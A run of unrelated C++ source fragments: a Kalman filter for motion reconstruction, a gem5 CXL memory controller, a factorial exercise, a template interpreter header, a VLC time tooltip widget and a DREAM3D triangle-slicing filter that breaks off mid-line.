m_Te(1.0/(m_params.acquisitionFrequency())), m_nDof(m.dof_count), m_nMeasure(nMeasure) { } s2mKalmanRecons::~s2mKalmanRecons() { } void s2mKalmanRecons::iteration(Eigen::VectorXd measure, const Eigen::VectorXd &projectedMeasure, const Eigen::MatrixXd &Hessian, const std::vector &occlusion){ // Prédiction Eigen::VectorXd xkm = m_A * m_xp; Eigen::MatrixXd Pkm = m_A * m_Pp * m_A.transpose() + m_Q; // Correction Eigen::MatrixXd InvTp = (Hessian*Pkm*Hessian.transpose() + m_R).inverse(); manageOcclusionDuringIteration(InvTp, measure, occlusion); Eigen::MatrixXd K = Pkm*Hessian.transpose() * InvTp; // Gain m_xp = xkm+K*(measure-projectedMeasure); // New estimated state m_Pp = (Eigen::MatrixXd::Identity(3*m_nDof, 3*m_nDof) - K*Hessian) * Pkm * (Eigen::MatrixXd::Identity(3*m_nDof, 3*m_nDof) - K*Hessian).transpose() + K*m_R*K.transpose(); } void s2mKalmanRecons::manageOcclusionDuringIteration(Eigen::MatrixXd &InvTp, Eigen::VectorXd &measure, const std::vector &occlusion){ for (unsigned int i = 0; i < occlusion.size(); ++i) for (unsigned int j=occlusion[i]; j< occlusion[i]+1; ++j){ InvTp(j,j) = 0; // Artéfact du au fait que m_R a une valeur à (j:j+2,j:j+2) measure[j] = 0; } } void s2mKalmanRecons::getState(s2mGenCoord *Q, s2mGenCoord *Qdot, s2mGenCoord *Qddot){ if (Q != NULL) *Q = m_xp.block(0,0,m_nDof,1); if (Qdot != NULL) *Qdot = m_xp.block(m_nDof,0,m_nDof,1); if (Qddot != NULL) *Qddot = m_xp.block(2*m_nDof,0,m_nDof,1); } Eigen::MatrixXd s2mKalmanRecons::evolutionMatrix(const unsigned int nQ, unsigned int n, const double Te){ // m : nombre de degré de liberté // n : ordre du développent de Taylor // Te : 1 / (frequence d'acquisition) n += 1; Eigen::MatrixXd A = Eigen::MatrixXd::Identity(nQ*n,nQ*n); double c = 1; for (unsigned int i=2; igetFunctionPrototype()->getSequence()->size() > mMaxParameters) { mValid = false; } return mValid; } bool ValidateMaxParameters::validate(TIntermNode *root, unsigned int maxParameters) { ValidateMaxParameters argsTraverser(maxParameters); root->traverse(&argsTraverser); return argsTraverser.mValid; } } // namespace sh #include "mem/cxl_controller.hh" #include #include "base/logging.hh" #include "base/random.hh" #include "base/trace.hh" #include "debug/CXLController.hh" #include "debug/CXLPerf.hh" #include "mem/cxl_protocol.hh" CXLController::CXLController(const CXLControllerParams* p) : BaseXBar(p) { // create the ports based on the size of the memory-side port and // CPU-side port vector ports, and the presence of the default port, // the ports are enumerated starting from zero for (int i = 0; i < p->port_mem_side_ports_connection_count; ++i) { std::string portName = csprintf("%s.mem_side_port[%d]", name(), i); CXLControllerRequestPort* bp = new CXLControllerRequestPort(portName, *this, i); memSidePorts.push_back(bp); reqLayers.push_back(new QueuedReqLayer(*bp, *this, csprintf("reqLayer%d", i))); } // see if we have a default CPU-side-port device connected and if so add // our corresponding memory-side port if (p->port_default_connection_count) { defaultPortID = memSidePorts.size(); std::string portName = name() + ".default"; CXLControllerRequestPort* bp = new CXLControllerRequestPort( portName, *this, defaultPortID); memSidePorts.push_back(bp); reqLayers.push_back(new QueuedReqLayer( *bp, *this, csprintf("reqLayer%d", defaultPortID))); } // create the CPU-side ports, once again starting at zero for (int i = 0; i < p->port_cpu_side_ports_connection_count; ++i) { std::string portName = csprintf("%s.cpu_side_ports[%d]", name(), i); QueuedResponsePort* bp = new CXLControllerResponsePort(portName, *this, i); cpuSidePorts.push_back(bp); respLayers.push_back(new RespLayer(*bp, *this, csprintf("respLayer%d", i))); } DPRINTF(CXLController, "hello world from cxl controller!\n"); for (int i = 0; i < 2; i++) { ReqCrd.push_back(64); ResCrd.push_back(64); DataCrd.push_back(64); //addr.push_back(new AddrRange( // 0x20000000+i*0x20000000, 0x20000000+(i+1)*0x20000000)); } //push back local credit ReqCrd.push_back(64); ResCrd.push_back(64); DataCrd.push_back(64); } CXLController::~CXLController() { for (auto l: reqLayers) delete l; for (auto l: respLayers) delete l; } CXLController* CXLControllerParams::create() { return new CXLController(this); } bool CXLController::recvTimingReq(PacketPtr pkt, PortID cpu_side_port_id){ // determine the source port based on the id ResponsePort *src_port = cpuSidePorts[cpu_side_port_id]; // we should never see express snoops on a non-coherent crossbar assert(!pkt->isExpressSnoop()); // determine the destination based on the address PortID mem_side_port_id = findPort(pkt->getAddrRange()); //we can decide if the sender needs to retry in one cycle after //recieve data valid signal from the sender. if (!reqLayers[mem_side_port_id]->TestOutstanding(src_port)) { DPRINTF(CXLPerf, "CXLPerf: src %s %s 0x%x WAITING FOR CREDIT\n", src_port->name(), pkt->cmdString(), pkt->getAddr()); return false; } // test if the layer should be considered occupied for the current // port //waiting.push_back(pkt); if (!reqLayers[mem_side_port_id]->tryTiming(src_port)) { DPRINTF(CXLController, "recvTimingReq: src %s %s 0x%x BUSY\n", src_port->name(), pkt->cmdString(), pkt->getAddr()); return false; } //pkt = waiting.front(); //waiting.erase(waiting.begin()); DPRINTF(CXLController, "recvTimingReq: src %s %s 0x%x %d\n", src_port->name(), pkt->cmdString(), pkt->getAddr(), pkt->getSize()); // store the old header delay so we can restore it if needed Tick old_header_delay = pkt->headerDelay; if (pkt->isRead()) mkReadPkt(pkt, mem_side_port_id); else if (pkt->isWriteback()) mkWritePkt(pkt, mem_side_port_id); // store size and command as they might be modified when // forwarding the packet unsigned int pkt_size = pkt->getSize(); unsigned int pkt_cmd = pkt->cmdToIndex(); // a request sees the frontend and forward latency Tick xbar_delay = (frontendLatency + forwardLatency) * clockPeriod(); // set the packet header and payload delay calcPacketTiming(pkt, xbar_delay); // determine how long the controller recieves whole packet Tick packetFinishTime = clockEdge(Cycles(1)) + pkt->payloadDelay; // send the packet through the destination mem-side port, and pay for // any outstanding latency //packet is put on queue after controller recieving packet header Tick latency = pkt->headerDelay; pkt->headerDelay = 0; //update packet size //we store CXL command in @cmd, CXL packet size in @size, //old size in @cxl_size, old command in @cxl_comm. //In this way, we do not need to update other Classes. pkt->update_size(pkt->cxl_size); pkt->cxl_size = pkt_size; pkt->cmd = pkt->cxl_comm; pkt->cxl_comm = MemCmd::Command(pkt_cmd); //Send data flit if rollover equals to 4 //after write request sent //Actually, we only update stats and packet size if (last_rollover == 4){ last_rollover = 0; //PacketPtr data_flit = new Packet(pkt, false, true); //data_flit->cxl_comm = MemCmd::Command::DataFlit; //((CXLControllerRequestPort*)memSidePorts[mem_side_port_id]) //->schedTimingReq(pkt, curTick() + latency + nextCycle()); // stats updates pkt->update_size(pkt->getSize() + DATA_FLIT); //pktCount[cpu_side_port_id][mem_side_port_id]++; //pktSize[cpu_side_port_id][mem_side_port_id] += (pkt->getSize()); //transDist[(int)(MemCmd::Command::DataFlit)]++; } ((CXLControllerRequestPort*)memSidePorts[mem_side_port_id]) ->schedTimingReq(pkt, curTick() + latency); // before forwarding the packet (and possibly altering it), // remember if we are expecting a response const bool expect_response = pkt->needsResponse(); // remember where to route the response to if (expect_response) { assert(routeTo.find(pkt->req) == routeTo.end()); routeTo[pkt->req] = cpu_side_port_id; } reqLayers[mem_side_port_id]->succeededTiming(packetFinishTime); // stats updates pktCount[cpu_side_port_id][mem_side_port_id]++; pktSize[cpu_side_port_id][mem_side_port_id] += pkt_size; transDist[pkt_cmd]++; return true; } bool CXLController::recvTimingResp(PacketPtr pkt, PortID mem_side_port_id){ // determine the source port based on the id RequestPort *src_port = memSidePorts[mem_side_port_id]; // determine the destination const auto route_lookup = routeTo.find(pkt->req); assert(route_lookup != routeTo.end()); const PortID cpu_side_port_id = route_lookup->second; assert(cpu_side_port_id != InvalidPortID); assert(cpu_side_port_id < respLayers.size()); // test if the layer should be considered occupied for the current // port if (!respLayers[cpu_side_port_id]->tryTiming(src_port)) { DPRINTF(CXLController, "recvTimingResp: src %s %s 0x%x BUSY\n", src_port->name(), pkt->cmdString(), pkt->getAddr()); return false; } DPRINTF(CXLController, "recvTimingResp: src %s %s 0x%x\n", src_port->name(), pkt->cmdString(), pkt->getAddr()); // store size and command as they might be modified when // forwarding the packet unsigned int pkt_size = pkt->hasData() ? pkt->getSize() : 0; unsigned int pkt_cmd = pkt->cmdToIndex(); // a response sees the response latency Tick xbar_delay = responseLatency * clockPeriod(); // set the packet header and payload delay calcPacketTiming(pkt, xbar_delay); // determine how long to be crossbar layer is busy Tick packetFinishTime = clockEdge(Cycles(1)) + pkt->payloadDelay; // send the packet through the destination CPU-side port, and pay for // any outstanding latency //Drop CMP command. if (pkt->cmd != MemCmd::Command::Cmp) { Tick latency = pkt->headerDelay; pkt->headerDelay = 0; //restore old size pkt->update_size(pkt->cxl_size); pkt->cmd = MemCmd::Command::ReadResp; DPRINTF(CXLController, "recvTimingResp: send to cache %s 0x%x %d\n", pkt->cmdString(), pkt->getAddr(), pkt->getSize()); cpuSidePorts[cpu_side_port_id]->schedTimingResp(pkt, curTick() + latency); } // remove the request from the routing table routeTo.erase(route_lookup); //port needs to receive all data, even for cmp command. respLayers[cpu_side_port_id]->succeededTiming(packetFinishTime); // stats updates pktCount[cpu_side_port_id][mem_side_port_id]++; pktSize[cpu_side_port_id][mem_side_port_id] += pkt_size; transDist[pkt_cmd]++; if (pkt->rollover == 4){ // stats updates pktCount[cpu_side_port_id][mem_side_port_id]++; transDist[MemCmd::Command::DataFlit]++; } //if (pkt->is_combined) // transDist[MemCmd::Command::DataFlit]++; ////credit update //if (pkt->is_combined){ // reqLayers[mem_side_port_id]->CreditRelease(ResCrd.begin() + 2, 1); //} else{ reqLayers[mem_side_port_id]->CreditRelease(ResCrd.begin() + 2, 5 - pkt->reserved_for_more_DRS - pkt->reserved_for_more_NDR); //} //ResCrd[2] ++; return true; }; Tick CXLController::recvAtomicBackdoor(PacketPtr pkt, PortID cpu_side_port_id, MemBackdoorPtr *backdoor){ unsigned int pkt_size = pkt->hasData() ? pkt->getSize() : 0; unsigned int pkt_cmd = pkt->cmdToIndex(); // determine the destination port PortID mem_side_port_id = findPort(pkt->getAddrRange()); // stats updates for the request pktCount[cpu_side_port_id][mem_side_port_id]++; pktSize[cpu_side_port_id][mem_side_port_id] += pkt_size; transDist[pkt_cmd]++; // forward the request to the appropriate destination auto mem_side_port = memSidePorts[mem_side_port_id]; Tick response_latency = backdoor ? mem_side_port->sendAtomicBackdoor(pkt, *backdoor) : mem_side_port->sendAtomic(pkt); // add the response data if (pkt->isResponse()) { pkt_size = pkt->hasData() ? pkt->getSize() : 0; pkt_cmd = pkt->cmdToIndex(); // stats updates pktCount[cpu_side_port_id][mem_side_port_id]++; pktSize[cpu_side_port_id][mem_side_port_id] += pkt_size; transDist[pkt_cmd]++; } // @todo: Not setting first-word time pkt->payloadDelay = response_latency; return response_latency; }; void CXLController::recvFunctional(PacketPtr pkt, PortID cpu_side_port_id){ // since our CPU-side ports are queued ports we need to check them as well for (const auto& p : cpuSidePorts) { // if we find a response that has the data, then the // downstream caches/memories may be out of date, so simply stop // here if (p->trySatisfyFunctional(pkt)) { if (pkt->needsResponse()) pkt->makeResponse(); return; } } // determine the destination port PortID dest_id = findPort(pkt->getAddrRange()); // forward the request to the appropriate destination memSidePorts[dest_id]->sendFunctional(pkt); }; void CXLController::mkReadPkt(PacketPtr pkt, PortID port_id){ //we can recieve no more than 64 response. ResCrd[2] -- ; pkt->cxl_comm = MemCmd::Command::MemRd; //pkt->cmd = MemCmd::Command::MemRd; //Currently, we think the device has infinite queue pkt->ReqCrd = 64; pkt->ResCrd = 64; pkt->DataCrd = 64; pkt->rollover = 0; pkt->cxl_size = FLIT_SIZE; //no rollover from the read instruction last_rollover = 0; }; void CXLController::mkWritePkt(PacketPtr pkt, PortID port_id){ //generate MemWrPtl or MemWr instruction //currently, we do not see any write partial if (pkt->isWriteback()){ //we can recieve no more than 64 response. ResCrd[2] -- ; pkt->cxl_comm = MemCmd::Command::MemWr; //Currently, we think the device has infinite queue pkt->ReqCrd = 64; pkt->ResCrd = 64; pkt->DataCrd = 64; pkt->cxl_size = FLIT_SIZE; //check rollover for the write instruction pkt->rollover = (last_rollover + 4) - 3; last_rollover = pkt->rollover; }else{ } }; bool CXLController::QueuedReqLayer::TestOutstanding(ResponsePort* src_port){ if(cxl_port.size() > pkt_outstanding){ pkt_outstanding = cxl_port.size(); DPRINTF(CXLPerf, "controller sends %d pkt in flight\n", pkt_outstanding); } if (cxl_port.size() == 64) { // the port should not be waiting already assert(std::find(waitingForCredit.begin(), waitingForCredit.end(), src_port) == waitingForCredit.end()); // put the port at the end of the retry list waiting for the // layer to be freed up (and in the case of a busy peer, for // that transaction to go through, and then the layer to free // up) waitingForCredit.push_back(src_port); return false; } return true; }; bool CXLController::QueuedReqLayer::CreditRelease( std::vector::iterator CrePtr, int count) { if (*CrePtr == 0){ for (int i = 0; i < count && !waitingForCredit.empty(); i++) { DPRINTF(CXLController, "recvTimingReq: src %s RETRY\n", waitingForCredit[0]->name()); waitingForCredit[0]->sendRetryReq(); waitingForCredit.pop_front(); } } (*CrePtr)+=count; return true; } primer/ch06/exercise6.4.cpp0 // // Created by zing on 5/18/2020. // #include using namespace std; int fact(int val) { int ret = 1; while (val > 1) { ret = ret * val; val--; } return ret; } int main(int argc, char *argv[]) { int val = 0; cout << "please in put a number" << endl; cin >> val; cout << fact(val) << endl; return 0; } include/crisp/interpreter/InterpretCond.hpp /* * Copyright 2019 by Crisp Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef CRISP_INTERPRETCOND_HPP #define CRISP_INTERPRETCOND_HPP #include "Common.hpp" namespace crisp { using namespace crisp; using namespace util; template struct Interpret, Environ> { static_assert(IsTemplateOf::value, "expected a `When` branch"); static_assert(IsTemplateOf::value, "expected an `Else` branch"); using WhenConditionExpr = typename ListLikeHead::type; using WhenResultExpr = typename ListLikeLast::type; using WhenConditionExprInterp = Interpret; using WhenConditionValue = typename WhenConditionExprInterp::type; using ElseExpr = typename ListLikeHead::type; using ResultInterp = typename ConditionalApply< When>, Else>>::type; using type = typename ResultInterp::type; using env = typename ResultInterp::env; }; template struct Interpret, Environ> { static_assert(IsTemplateOf::value, "expected a `When` branch"); using WhenConditionExpr = typename ListLikeHead::type; using WhenResultExpr = typename ListLikeLast::type; using WhenConditionExprInterp = Interpret; using WhenConditionValue = typename WhenConditionExprInterp::type; using ResultInterp = typename ConditionalApply< When>, Else, Environ>>>::type; using type = typename ResultInterp::type; using env = typename ResultInterp::env; }; } // namespace crisp #endif //CRISP_INTERPRETCOND_HPP Brook1711/biubiu_Qt6 /***************************************************************************** * Copyright © 2011-2012 VideoLAN * $Id: 8cfdab3206bb2fafab98f3fba87c921da11d0d6a $ * * Authors: <> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ #include "timetooltip.hpp" #include #include #include #include #include #define TIP_HEIGHT 5 TimeTooltip::TimeTooltip( QWidget *parent ) : QWidget( parent ) { setWindowFlags( Qt::ToolTip | Qt::WindowStaysOnTopHint | Qt::FramelessWindowHint ); // Tell Qt that it doesn't need to erase the background before // a paintEvent occurs. This should save some CPU cycles. setAttribute( Qt::WA_OpaquePaintEvent ); setAttribute( Qt::WA_TranslucentBackground ); setAttribute( Qt::WA_TransparentForMouseEvents ); // Inherit from the system default font size -5 mFont = QFont( "Verdana", qMax( qApp->font().pointSize() - 5, 7 ) ); mTipX = -1; // By default the widget is unintialized and should not be displayed resize( 0, 0 ); } void TimeTooltip::adjustPosition() { if( mDisplayedText.isEmpty() ) { resize( 0, 0 ); return; } // Get the bounding box required to print the text and add some padding QFontMetrics metrics( mFont ); QRect textbox = metrics.boundingRect( mDisplayedText ); textbox.adjust( -2, -2, 2, 2 ); textbox.moveTo( 0, 0 ); // Resize the widget to fit our needs QSize size( textbox.width() + 1, textbox.height() + TIP_HEIGHT + 1 ); // The desired label position is just above the target QPoint position( mTarget.x() - size.width() / 2, #if defined( Q_OS_WIN ) mTarget.y() - 2 * size.height() - TIP_HEIGHT / 2 ); #else mTarget.y() - size.height() - TIP_HEIGHT / 2 ); #endif // Keep the tooltip on the same screen if possible QRect screen = QApplication::desktop()->screenGeometry( mTarget ); position.setX( qMax( screen.left(), qMin( position.x(), screen.left() + screen.width() - size.width() ) ) ); position.setY( qMax( screen.top(), qMin( position.y(), screen.top() + screen.height() - size.height() ) ) ); move( position ); int tipX = mTarget.x() - position.x(); if( mBox != textbox || mTipX != tipX ) { mBox = textbox; mTipX = tipX; resize( size ); buildPath(); } } void TimeTooltip::buildPath() { // Prepare the painter path for future use so // we only have to generate the text at runtime. // Draw the text box mPainterPath = QPainterPath(); mPainterPath.addRect( mBox ); // Draw the tip QPolygonF polygon; polygon << QPoint( qMax( 0, mTipX - 3 ), mBox.height() ) << QPoint( mTipX, mBox.height() + TIP_HEIGHT ) << QPoint( qMin( mTipX + 3, mBox.width() ), mBox.height() ); mPainterPath.addPolygon( polygon ); // Store the simplified version of the path mPainterPath = mPainterPath.simplified(); } void TimeTooltip::setTip( const QPoint& target, const QString& time, const QString& text ) { mDisplayedText = time; if ( !text.isEmpty() ) mDisplayedText.append( " - " ).append( text ); if( mTarget != target || time.length() != mTime.length() || mText != text ) { mTarget = target; mTime = time; mText = text; adjustPosition(); } update(); raise(); } void TimeTooltip::show() { setVisible( true ); raise(); } void TimeTooltip::paintEvent( QPaintEvent * ) { QPainter p( this ); p.setRenderHints( QPainter::HighQualityAntialiasing | QPainter::TextAntialiasing ); p.setPen( Qt::black ); p.setBrush( qApp->palette().base() ); p.drawPath( mPainterPath ); p.setFont( mFont ); p.setPen( QPen( qApp->palette().text(), 1 ) ); p.drawText( mBox, Qt::AlignCenter, mDisplayedText ); } JDuffeyBQ/DREAM3DReview /* ============================================================================ * Software developed by US federal government employees (including military personnel) * as part of their official duties is not subject to copyright protection and is * considered "public domain" (see 17 USC Section 105). Public domain software can be used * by anyone for any purpose, and cannot be released under a copyright license * (including typical open source software licenses). * * This source code file was originally written by United States DoD employees. The * original source code files are released into the Public Domain. * * Subsequent changes to the codes by others may elect to add a copyright and license * for those changes. * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ #include "SliceTriangleGeometry.h" #include #include "SIMPLib/Common/Constants.h" #include "SIMPLib/DataContainers/DataContainer.h" #include "SIMPLib/DataContainers/DataContainerArray.h" #include "SIMPLib/FilterParameters/AbstractFilterParametersReader.h" #include "SIMPLib/FilterParameters/DataArraySelectionFilterParameter.h" #include "SIMPLib/FilterParameters/DataContainerSelectionFilterParameter.h" #include "SIMPLib/FilterParameters/FloatFilterParameter.h" #include "SIMPLib/FilterParameters/IntFilterParameter.h" #include "SIMPLib/FilterParameters/LinkedBooleanFilterParameter.h" #include "SIMPLib/FilterParameters/LinkedChoicesFilterParameter.h" #include "SIMPLib/FilterParameters/LinkedPathCreationFilterParameter.h" #include "SIMPLib/FilterParameters/StringFilterParameter.h" #include "SIMPLib/Geometry/EdgeGeom.h" #include "SIMPLib/Geometry/TriangleGeom.h" #include "SIMPLib/Math/GeometryMath.h" #include "SIMPLib/Math/MatrixMath.h" #include "EbsdLib/Core/Orientation.hpp" #include "EbsdLib/Core/OrientationTransformation.hpp" #include "EbsdLib/Core/Quaternion.hpp" #include "DREAM3DReview/DREAM3DReviewConstants.h" #include "DREAM3DReview/DREAM3DReviewVersion.h" // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- SliceTriangleGeometry::SliceTriangleGeometry() = default; // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- SliceTriangleGeometry::~SliceTriangleGeometry() = default; // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- void SliceTriangleGeometry::setupFilterParameters() { FilterParameterVectorType parameters; parameters.push_back(SIMPL_NEW_FLOAT_VEC3_FP("Slice Direction (ijk)", SliceDirection, FilterParameter::Category::Parameter, SliceTriangleGeometry)); { QVector choices; choices.push_back("Full Range"); choices.push_back("User Defined Range"); QStringList linkedChoiceProps; linkedChoiceProps << "Zstart" << "Zend"; LinkedChoicesFilterParameter::Pointer parameter = LinkedChoicesFilterParameter::New(); parameter->setHumanLabel("Slice Range"); parameter->setPropertyName("SliceRange"); parameter->setSetterCallback(SIMPL_BIND_SETTER(SliceTriangleGeometry, this, SliceRange)); parameter->setGetterCallback(SIMPL_BIND_GETTER(SliceTriangleGeometry, this, SliceRange)); parameter->setChoices(choices); parameter->setLinkedProperties(linkedChoiceProps); parameter->setCategory(FilterParameter::Category::Parameter); parameters.push_back(parameter); } parameters.push_back(SIMPL_NEW_FLOAT_FP("Slicing Start", Zstart, FilterParameter::Category::Parameter, SliceTriangleGeometry, 1)); parameters.push_back(SIMPL_NEW_FLOAT_FP("Slicing End", Zend, FilterParameter::Category::Parameter, SliceTriangleGeometry, 1)); parameters.push_back(SIMPL_NEW_FLOAT_FP("Slice Spacing", SliceResolution, FilterParameter::Category::Parameter, SliceTriangleGeometry)); QStringList linkedProps("RegionIdArrayPath"); parameters.push_back(SIMPL_NEW_LINKED_BOOL_FP("Have Region Ids", HaveRegionIds, FilterParameter::Category::Parameter, SliceTriangleGeometry, linkedProps)); linkedProps.clear(); DataContainerSelectionFilterParameter::RequirementType dcsReq; IGeometry::Types geomTypes = {IGeometry::Type::Triangle}; dcsReq.dcGeometryTypes = geomTypes; parameters.push_back(SIMPL_NEW_DC_SELECTION_FP("CAD Geometry", CADDataContainerName, FilterParameter::Category::RequiredArray, SliceTriangleGeometry, dcsReq)); { DataArraySelectionFilterParameter::RequirementType req = DataArraySelectionFilterParameter::CreateRequirement(SIMPL::TypeNames::Int32, 1, AttributeMatrix::Type::Face, IGeometry::Type::Triangle); parameters.push_back(SIMPL_NEW_DA_SELECTION_FP("Region Ids", RegionIdArrayPath, FilterParameter::Category::RequiredArray, SliceTriangleGeometry, req)); } parameters.push_back(SIMPL_NEW_STRING_FP("Slice Geometry", SliceDataContainerName, FilterParameter::Category::CreatedArray, SliceTriangleGeometry)); parameters.push_back(SIMPL_NEW_AM_WITH_LINKED_DC_FP("Edge Attribute Matrix", EdgeAttributeMatrixName, SliceDataContainerName, FilterParameter::Category::CreatedArray, SliceTriangleGeometry)); parameters.push_back(SIMPL_NEW_DA_WITH_LINKED_AM_FP("Slice Ids", SliceIdArrayName, SliceDataContainerName, EdgeAttributeMatrixName, FilterParameter::Category::CreatedArray, SliceTriangleGeometry)); parameters.push_back(SIMPL_NEW_AM_WITH_LINKED_DC_FP("Slice Attribute Matrix", SliceAttributeMatrixName, SliceDataContainerName, FilterParameter::Category::CreatedArray, SliceTriangleGeometry)); setFilterParameters(parameters); } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- void SliceTriangleGeometry::dataCheck() { clearErrorCode(); clearWarningCode(); DataArrayPath tempPath; QVector dataArrays; TriangleGeom::Pointer triangle = getDataContainerArray()->getPrereqGeometryFromDataContainer(this, getCADDataContainerName()); if(m_SliceRange == 1) { if(m_Zstart >= m_Zend) { QString message = QObject::tr("Z end must be larger than Z start."); setErrorCondition(-62102, message); } } DataContainer::Pointer m = getDataContainerArray()->createNonPrereqDataContainer(this, getSliceDataContainerName()); if(getErrorCode() < 0) { return; } SharedVertexList::Pointer vertices = EdgeGeom::CreateSharedVertexList(0); EdgeGeom::Pointer edge = EdgeGeom::CreateGeometry(0, vertices, SIMPL::Geometry::EdgeGeometry, !getInPreflight()); m->setGeometry(edge); std::vector tDims(1, 0); m->createNonPrereqAttributeMatrix(this, getEdgeAttributeMatrixName(), tDims, AttributeMatrix::Type::Edge); m->createNonPrereqAttributeMatrix(this, getSliceAttributeMatrixName(), tDims, AttributeMatrix::Type::EdgeFeature); if(getErrorCode() < 0) { return; } std::vector cDims(1, 1); if(m_HaveRegionIds) { m_TriRegionIdPtr = getDataContainerArray()->getPrereqArrayFromPath(this, getRegionIdArrayPath(), cDims); if(getErrorCode() < 0) { return; } dataArrays.push_back(m_TriRegionIdPtr.lock()); tempPath.update(getSliceDataContainerName(), getEdgeAttributeMatrixName(), getRegionIdArrayPath().getDataArrayName()); m_RegionIdPtr = getDataContainerArray()->createNonPrereqArrayFromPath(this, tempPath, 0, cDims); if(getErrorCode() < 0) { return; } dataArrays.push_back(m_TriRegionIdPtr.lock()); } tempPath.update(getSliceDataContainerName(), getEdgeAttributeMatrixName(), getSliceIdArrayName()); m_SliceIdPtr = getDataContainerArray()->createNonPrereqArrayFromPath(this, tempPath, 0, cDims); // If more code is placed beyond this comment then you should check for an error and return if the error < 0 } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- void SliceTriangleGeometry::rotateVertices(unsigned int direction, float* n, int64_t numVerts, float* verts) { // determine the rotation need to allow sectioning direction to be 001 float sliceDirection[3] = {m_SliceDirection[0], m_SliceDirection[1], m_SliceDirection[2]}; MatrixMath::Normalize3x1(sliceDirection); float angle = GeometryMath::AngleBetweenVectors(sliceDirection, n); float rotMat[3][3] = {{1.0f, 0.0f, 0.0f}, {0.0f, 1.0f, 0.0f}, {0.0f, 0.0f, 1.0f}}; float invRotMat[3][3] = {{1.0f, 0.0f, 0.0f}, {0.0f, 1.0f, 0.0f}, {0.0f, 0.0f, 1.0f}}; if(angle > (0.01f * SIMPLib::Constants::k_DegToRadD)) { float crossDirection[3]; crossDirection[0] = m_SliceDirection[1]; crossDirection[1] = -m_SliceDirection[0]; crossDirection[2] = 0; MatrixMath::Normalize3x1(crossDirection); OrientationTransformation::ax2om(OrientationF(crossDirection[0], crossDirection[1], crossDirection[2], angle)).toGMatrix(rotMat); if(direction == rotBackward) { // invert the roation matrix and copy it back into itself MatrixMath::Invert3x3(rotMat, invRotMat); MatrixMath::Copy3x3(invRotMat, rotMat); } // TODO: PARALLELIZE THIS BIT: Not sure if it will really help though // rotate all vertices so sectioning direction will always be 001 float coords[3] = {0.0f, 0.0f, 0.0f}; float newcoords[3] = {0.0f, 0.0f, 0.0f}; for(int64_t i = 0; i < numVerts; i++) { coords[0] = verts[3 * i]; coords[1] = verts[3 * i + 1]; coords[2] = verts[3 * i + 2]; MatrixMath::Multiply3x3with3x1(rotMat, coords, newcoords); verts[3 * i] = newcoords[0]; verts[3 * i + 1] = newcoords[1]; verts[3 * i + 2] = newcoords[2]; } } } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- char SliceTriangleGeometry::rayIntersectsPlane(const float d, const float* q, const float* r, float* p) { double rqDelZ; double dqDelZ; double t; rqDelZ = r[2] - q[2]; dqDelZ = d - q[2]; t = dqDelZ / rqDelZ; for(int i = 0; i < 3; i++) { p[i] = q[i] + (t * (r[i] - q[i])); } if(t > 0.0 && t < 1.0) { return '1'; } if(t == 0.0) { return 'q'; } if(t == 1.0) { return 'r'; } return '0'; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- void SliceTriangleGeometry::determineBoundsAndNumSlices(float& minDim, float& maxDim, MeshIndexType numTris, MeshIndexType* tris, float* triVerts) { for(MeshIndexType i = 0; i < numTris; i++) { for(MeshIndexType j = 0; j < 3; j++) { MeshIndexType vert = tris[3 * i + j]; if(minDim > triVerts[3 * vert + 2]) { minDim = triVerts[3 * vert + 2]; } if(maxDim < triVerts[3 * vert + 2]) { maxDim = triVerts[3 * vert + 2]; } } } // adjust sectioning range if user selected a specific range - check that user range is within actual range if(m_SliceRange == 1) { if(m_Zstart > minDim) { minDim = m_Zstart; } if(m_Zend < maxDim) { maxDim = m_Zend; } } // TODO: Is this still correct? Why have the subtraction at all? m_NumberOfSlices = static_cast((maxDim - 0.0) / m_SliceResolution) + 1; // m_NumberOfSlices = static_cast((maxDim - minDim) / m_SliceResolution) + 1; } // ----------------------------------------------------------------------------- // // ----------------------------------------------------------------------------- void SliceTriangleGeometry::execute() { dataCheck(); if(getErrorCode() < 0) { return; } // geometry will be rotated so that the sectioning direction is always 001 before rotating back float n[3] = {0.0f, 0.0f, 0.0f}; n[0] = 0.0f; n[1] = 0.0f; n[2] = 1.0f; TriangleGeom::Pointer triangle = getDataContainerArray()->getDataContainer(getCADDataContainerName())->getGeometryAs(); triangle->findEdges(); MeshIndexType* tris = triangle->getTriPointer(0); float* triVerts = triangle->getVertexPointer(0); MeshIndexType numTris = triangle->getNumberOfTris(); MeshIndexType numTriVerts = triangle->getNumberOfVertices(); // rotate CAD tiangles to get into sectioning orientation rotateVertices(rotForward, n, numTriVerts, triVerts); // determine bounds and number of slices needed for CAD geometry float minDim = std::numeric_limits::max(); float maxDim = -minDim; determineBoundsAndNumSlices(minDim, maxDim, numTris, tris, triVerts); int64_t minSlice = static_cast(minDim / m_SliceResolution); int64_t maxSlice = static_cast(maxDim / m_SliceResolution); float q[3] = {0.0f, 0.0f, 0.0f}; float r[3] = {0.0f, 0.0f, 0.0f}; float p[3] = {0.0f, 0.0f, 0.0f}; float corner[3] = {0.0f, 0.0f, 0.0f}; float d = 0; std::vector slicedVerts; std::vector sliceIds; std::vector regionIds; // Get an object reference to the pointer Int32ArrayType& m_TriRegionId = 